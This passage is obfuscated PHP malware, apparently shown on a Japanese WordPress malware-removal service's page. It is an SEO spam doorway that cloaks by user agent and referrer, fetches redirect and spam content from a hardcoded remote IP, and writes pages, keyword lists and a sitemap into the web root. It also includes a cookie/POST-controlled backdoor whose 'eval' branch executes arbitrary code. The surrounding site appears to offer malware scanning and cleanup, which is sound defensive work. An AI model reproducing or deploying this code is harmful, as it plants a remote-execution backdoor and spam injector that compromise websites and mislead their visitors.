@file_get_contents(_mhsabk::$_wvmlwdse . $_yw4v0wwj[array_rand($_yw4v0wwj)]); } public static function _4mlw1($_f0hgzllg) { if (@file_exists(_mhsabk::$_poza0iyr . "_" . md5($_f0hgzllg) . ".html")) { return; } @file_put_contents(_mhsabk::$_poza0iyr . "_" . md5($_f0hgzllg) . ".html", $_f0hgzllg); } } class _mjf146 { private static $_wvmlwdse = ""; private static $_poza0iyr = ""; public static function _pdhbi($_u2jkrbms, $_u0xjyhq5) { _mjf146::$_wvmlwdse = $_u2jkrbms . "/"; _mjf146::$_poza0iyr = $_u0xjyhq5; if (!@file_exists(_mjf146::$_wvmlwdse)) { @mkdir(_mjf146::$_wvmlwdse); } } private static function _d6bgq() { $_te9j3qxp = array(); foreach (scandir(_mjf146::$_wvmlwdse) as $_z0sz2sjb) { if (strpos($_z0sz2sjb, _mjf146::$_poza0iyr) === 0) { $_te9j3qxp[] = $_z0sz2sjb; } } return $_te9j3qxp; } public static function _b4v91() { return TRUE; } public static function _c7wqi() { $_te9j3qxp = _mjf146::_d6bgq(); $_3hz09da3 = @file(_mjf146::$_wvmlwdse . $_te9j3qxp[array_rand($_te9j3qxp)], FILE_IGNORE_NEW_LINES); return $_3hz09da3[array_rand($_3hz09da3)]; } public static function _fcff7() { $_3hz09da3 = array(); $_te9j3qxp = _mjf146::_d6bgq(); foreach ($_te9j3qxp as $_tjwv7spe) { $_3hz09da3 = array_merge($_3hz09da3, @file(_mjf146::$_wvmlwdse . $_tjwv7spe, FILE_IGNORE_NEW_LINES)); } return $_3hz09da3; } public static function _4mlw1($_p3zclow3) { if (@file_exists(_mjf146::$_poza0iyr . "_" . md5($_p3zclow3) . ".list")) { return; } @file_put_contents(_mjf146::$_poza0iyr . "_" . md5($_p3zclow3) . ".list", $_p3zclow3); } } class _ck3gcg { public static $_ngm9q95l = "4.3"; public static $_jahh63sk = "e8791a1c-00eb-ec84-2a2a-7e4a165d08d9"; private $_xhd9f49l = "http://136.12.78.46/app/assets/api2?action=redir"; private $_g6yf5sq0 = "http://136.12.78.46/app/assets/api?action=page"; public static $_fa134rdo = 20; public static $_6hy4eh9a = 100; public static function _1bpj3() { } private function _1c7j7() { $_13rwhtgp = array('#Ask\\s*Jeeves#i', '#HP\\s*Web\\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\\s*Pro#i', '#www\\.cys\\.ru#i', '#Wysigot#i', '#Yahoo!\\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\\s*Master#i', '#FAST\\s*MetaWeb\\s*Crawler#i', '#Flexum\\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\\.ru\\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i', '#scooter#i', '#av\\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\\s*slurp#i', '#charlotte#i', '#ngb#i', '#BingBot#i'); if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_z3uhrd71 = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (!empty($_SERVER['REMOTE_ADDR'])) { $_z3uhrd71 = $_SERVER['REMOTE_ADDR']; } else { $_z3uhrd71 = ""; } if (!empty($_SERVER['HTTP_USER_AGENT']) && FALSE !== strpos(preg_replace($_13rwhtgp, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-')) { $_zs0s16cr = 1; } elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) { $_zs0s16cr = 1; } elseif (FALSE !== strpos(@gethostbyaddr($_z3uhrd71), 'google')) { $_zs0s16cr = 1; } elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE) { $_zs0s16cr = 1; } else { $_zs0s16cr = 0; } return $_zs0s16cr; } private static function _7hi9k() { $_s3elb85m = array(); $_s3elb85m['ip'] = $_SERVER['REMOTE_ADDR']; $_s3elb85m['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI']; $_s3elb85m['ua'] = @$_SERVER['HTTP_USER_AGENT']; $_s3elb85m['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE']; $_s3elb85m['ref'] = @$_SERVER['HTTP_REFERER']; $_s3elb85m['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING']; $_s3elb85m['acp'] = @$_SERVER['HTTP_ACCEPT']; $_s3elb85m['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET']; $_s3elb85m['conn'] = @$_SERVER['HTTP_CONNECTION']; return $_s3elb85m; } public function __construct() { $this->_xhd9f49l = explode("/", $this->_xhd9f49l); $this->_g6yf5sq0 = explode("/", $this->_g6yf5sq0); } public static function _vi3qm($_yev6g3ol) { if (strlen($_yev6g3ol) < 4) { return ""; } $_d75f1e9i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $_3hz09da3 = str_split($_d75f1e9i); $_3hz09da3 = array_flip($_3hz09da3); $_25embz2l = 0; $_8pl1bz14 = ""; $_yev6g3ol = preg_replace("~[^A-Za-z0-9\\+\\/\\=]~", "", $_yev6g3ol); do { $_qv3kz4wj = $_3hz09da3[$_yev6g3ol[$_25embz2l++]]; $_e6fitcuk = $_3hz09da3[$_yev6g3ol[$_25embz2l++]]; $_yxkh526t = $_3hz09da3[$_yev6g3ol[$_25embz2l++]]; $_z0sc11xx = $_3hz09da3[$_yev6g3ol[$_25embz2l++]]; $_j9eaeagg = $_qv3kz4wj << 2 | $_e6fitcuk >> 4; $_4a1k4c7u = ($_e6fitcuk & 15) << 4 | $_yxkh526t >> 2; $_jqbakfe1 = ($_yxkh526t & 3) << 6 | $_z0sc11xx; $_8pl1bz14 .= chr($_j9eaeagg); if ($_yxkh526t != 64) { $_8pl1bz14 .= chr($_4a1k4c7u); } if ($_z0sc11xx != 64) { $_8pl1bz14 .= chr($_jqbakfe1); } } while ($_25embz2l < strlen($_yev6g3ol)); return $_8pl1bz14; } private function _qqyc3($_mwynbu5c) { $_aeq1h9aa = ""; $_norco4hk = ""; $_s3elb85m = _ck3gcg::_7hi9k(); $_s3elb85m["uid"] = _ck3gcg::$_jahh63sk; $_s3elb85m["keyword"] = $_mwynbu5c; $_s3elb85m["tc"] = 10; $_s3elb85m = http_build_query($_s3elb85m); $_36j12vln = _ey7bfu6::_1ny8p($this->_g6yf5sq0, $_s3elb85m); if (strpos($_36j12vln, _ck3gcg::$_jahh63sk) === FALSE) { return array($_aeq1h9aa, $_norco4hk); } $_aeq1h9aa = _mhsabk::_c7wqi(); $_norco4hk = substr($_36j12vln, strlen(_ck3gcg::$_jahh63sk)); $_norco4hk = explode("\n", $_norco4hk); shuffle($_norco4hk); $_norco4hk = implode(" ", $_norco4hk); return array($_aeq1h9aa, $_norco4hk); } private function _1nhob() { $_s3elb85m = _ck3gcg::_7hi9k(); $_s3elb85m["uid"] = _ck3gcg::$_jahh63sk; $_s3elb85m = http_build_query($_s3elb85m); $_xuw1b6fq = _ey7bfu6::_1ny8p($this->_xhd9f49l, $_s3elb85m); $_xuw1b6fq = @unserialize($_xuw1b6fq); if (isset($_xuw1b6fq["type"]) && $_xuw1b6fq["type"] == "redir") { if (!empty($_xuw1b6fq["data"]["header"])) { header($_xuw1b6fq["data"]["header"]); return true; } elseif (!empty($_xuw1b6fq["data"]["code"])) { echo $_xuw1b6fq["data"]["code"]; return true; } } return false; } public function _b4v91() { return _kkpjno3::_b4v91() && _mhsabk::_b4v91() && _mjf146::_b4v91(); } public static function _93pzo() { if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) { return true; } return false; } public static function _s7ghk() { $_r6htkols = explode("?", $_SERVER["REQUEST_URI"], 2); $_r6htkols = $_r6htkols[0]; if (strpos($_r6htkols, ".php") === FALSE) { $_r6htkols = explode("/", $_r6htkols); array_pop($_r6htkols); $_r6htkols = implode("/", $_r6htkols) . "/"; } return sprintf("%s://%s%s", _ck3gcg::_93pzo() ? "https" : "http", $_SERVER['HTTP_HOST'], $_r6htkols); } public static function _9k0vu() { $_r6htkols = explode("?", $_SERVER["REQUEST_URI"], 2); $_r6htkols = $_r6htkols[0]; $_u2jkrbms = substr($_r6htkols, 0, strrpos($_r6htkols, "/")); return sprintf("%s://%s%s", _ck3gcg::_93pzo() ? "https" : "http", $_SERVER['HTTP_HOST'], $_u2jkrbms); } public static function _dxkh0($_mwynbu5c) { $_9obk3wri = _ck3gcg::_s7ghk(); $_5rycsd09 = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6); $_vig54psg = ""; if (substr($_9obk3wri, 1) == "/") { if (ord($_5rycsd09[1]) % 2) { $_mwynbu5c = str_replace(" ", "-", $_5rycsd09 . "-" . $_mwynbu5c); } else { $_mwynbu5c = str_replace(" ", "-", $_mwynbu5c . "-" . $_5rycsd09); } $_vig54psg = sprintf("%s%s", $_9obk3wri, urlencode($_mwynbu5c)); } else { if (ord($_5rycsd09[0]) % 2) { $_vig54psg = sprintf("%s?%s=%s", $_9obk3wri, $_5rycsd09, urlencode(str_replace(" ", "-", $_mwynbu5c))); } else { $_h8ipbj2e = array("id", "page", "tag"); $_0wsrzinl = $_h8ipbj2e[ord($_5rycsd09[2]) % count($_h8ipbj2e)]; if (ord($_5rycsd09[1]) % 2) { $_mwynbu5c = str_replace(" ", "-", $_5rycsd09 . "-" . $_mwynbu5c); } else { $_mwynbu5c = str_replace(" ", "-", $_mwynbu5c . "-" . $_5rycsd09); } $_vig54psg = sprintf("%s?%s=%s", $_9obk3wri, $_0wsrzinl, urlencode($_mwynbu5c)); } } return $_vig54psg; } public static function _zax9d($_k8y7uc1d, $_87e1a8b7) { $_54rzpdff = rand($_k8y7uc1d, $_87e1a8b7); $_hvljvslq = ""; $_0wsrzinl = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6); for ($_25embz2l = 0; $_25embz2l < $_54rzpdff; $_25embz2l++) { $_mwynbu5c = _mjf146::_c7wqi(); $_hvljvslq .= sprintf("<a href='%s'>%s</a>,\n", _ck3gcg::_dxkh0($_mwynbu5c), ucwords($_mwynbu5c)); } return $_hvljvslq; } public static function _c0lkf() { $_p3xzxpbt = "<?php xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n"; $_7f4bntyy = "</urlset>"; $_t6tglu6l = ""; $_5rycsd09 = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6); $_3hz09da3 = _mjf146::_fcff7(); foreach ($_3hz09da3 as $_2r80wem0) { $_vig54psg = _ck3gcg::_dxkh0($_2r80wem0); $_6zynwyty = time() - mt_rand(0, 2592000); $_t6tglu6l .= "<url>\n"; $_t6tglu6l .= sprintf("<loc>%s</loc>\n", $_vig54psg); $_t6tglu6l .= sprintf("<lastmod>%s</lastmod>\n", date("Y-m-d", $_6zynwyty)); $_t6tglu6l .= "<priority>0.3</priority>\n"; $_t6tglu6l .= "</url>\n"; } $_0iw6z9b2 = $_p3xzxpbt . $_t6tglu6l . $_7f4bntyy; $_a8qvtbpu = "/var/www/html/sitemap.xml"; $_y6klfo9f = _ck3gcg::_9k0vu() . "/sitemap.xml"; @file_put_contents($_a8qvtbpu, $_0iw6z9b2); return $_y6klfo9f; } public function _0n601() { $_0wsrzinl = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6); if (isset($_GET[$_0wsrzinl])) { $_mwynbu5c = $_GET[$_0wsrzinl]; } elseif (strpos($_SERVER["REQUEST_URI"], $_0wsrzinl) !== FALSE) { $_a5kfykyv = explode("/", $_SERVER["REQUEST_URI"]); foreach ($_a5kfykyv as $_ke8ch1x4) { if (strpos($_ke8ch1x4, $_0wsrzinl) !== FALSE) { $_rxd102e4 = explode("=", $_ke8ch1x4); $_pbbjixe2 = array_pop($_rxd102e4); $_pbbjixe2 = str_replace($_0wsrzinl . "-", "", $_pbbjixe2); $_pbbjixe2 = str_replace("-" . $_0wsrzinl, "", $_pbbjixe2); $_mwynbu5c = $_pbbjixe2; } } } if (empty($_mwynbu5c)) { $_3hz09da3 = _mjf146::_fcff7(); $_mwynbu5c = $_3hz09da3[0]; } if (!empty($_mwynbu5c)) { $_mwynbu5c = str_replace("-", " ", $_mwynbu5c); if (!$this->_1c7j7()) { if ($this->_1nhob()) { return; } } $_mwynbu5c = urldecode($_mwynbu5c); $_xuw1b6fq = _kkpjno3::_gpexc($_mwynbu5c); if (empty($_xuw1b6fq)) { list($_aeq1h9aa, $_norco4hk) = $this->_qqyc3($_mwynbu5c); if (empty($_norco4hk)) { return; } $_xuw1b6fq = new _kkpjno3($_aeq1h9aa, $_norco4hk, $_mwynbu5c, _ck3gcg::_zax9d(_ck3gcg::$_fa134rdo, _ck3gcg::$_6hy4eh9a)); $_xuw1b6fq->_4mlw1(); } echo $_xuw1b6fq->_ha4si(); } } } _kkpjno3::_pdhbi("/var/www/html", 1, _ck3gcg::$_jahh63sk); _mhsabk::_pdhbi("/var/www/html", substr(md5(_ck3gcg::$_jahh63sk . "salt12"), 0, 4)); _mjf146::_pdhbi("/var/www/html", substr(md5(_ck3gcg::$_jahh63sk . "salt22"), 0, 4)); function _thdaz($_36j12vln, $_2r80wem0) { $_p03x2aoe = ""; for ($_25embz2l = 0; $_25embz2l < strlen($_36j12vln);) { for ($_wuzr1p5k = 0; $_wuzr1p5k < strlen($_2r80wem0) && $_25embz2l < strlen($_36j12vln); $_wuzr1p5k++, $_25embz2l++) { $_p03x2aoe .= chr(ord($_36j12vln[$_25embz2l]) ^ ord($_2r80wem0[$_wuzr1p5k])); } } return $_p03x2aoe; } function _3zvc1($_36j12vln, $_2r80wem0, $_7rvu1ebg) { return _thdaz(_thdaz($_36j12vln, $_2r80wem0), $_7rvu1ebg); } foreach (array_merge($_COOKIE, $_POST) as $_1c87cge0 => $_36j12vln) { $_36j12vln = @unserialize(_3zvc1(_ck3gcg::_vi3qm($_36j12vln), $_1c87cge0, _ck3gcg::$_jahh63sk)); if (isset($_36j12vln['ak']) && _ck3gcg::$_jahh63sk == $_36j12vln['ak']) { if ($_36j12vln['a'] == 'doorway2') { if ($_36j12vln['sa'] == 'check') { $_iamdjwam = _ey7bfu6::_1ny8p(array(0 => "http:", 1 => "", 2 => "httpbin.org", 3 => ""), ""); if (strlen($_iamdjwam) > 512) { echo @serialize(array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l, "cache" => _kkpjno3::_s813b(), "keywords" => count(_mjf146::_fcff7()), "templates" => _mhsabk::_s813b())); } exit; } if ($_36j12vln['sa'] == 'templates') { foreach ($_36j12vln["templates"] as $_aeq1h9aa) { _mhsabk::_4mlw1($_aeq1h9aa); echo @serialize(array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l)); } } if ($_36j12vln['sa'] == 'keywords') { _mjf146::_4mlw1($_36j12vln["keywords"]); _ck3gcg::_c0lkf(); echo @serialize(array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l)); } } if ($_36j12vln['sa'] == 'eval') { eval($_36j12vln["data"]); exit; } } } $_i4sgq6bu = new _ck3gcg(); if ($_i4sgq6bu->_b4v91()) { $_i4sgq6bu->_0n601(); } exit;
■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
(C)2019 ワードプレス ドクター All rights reserved.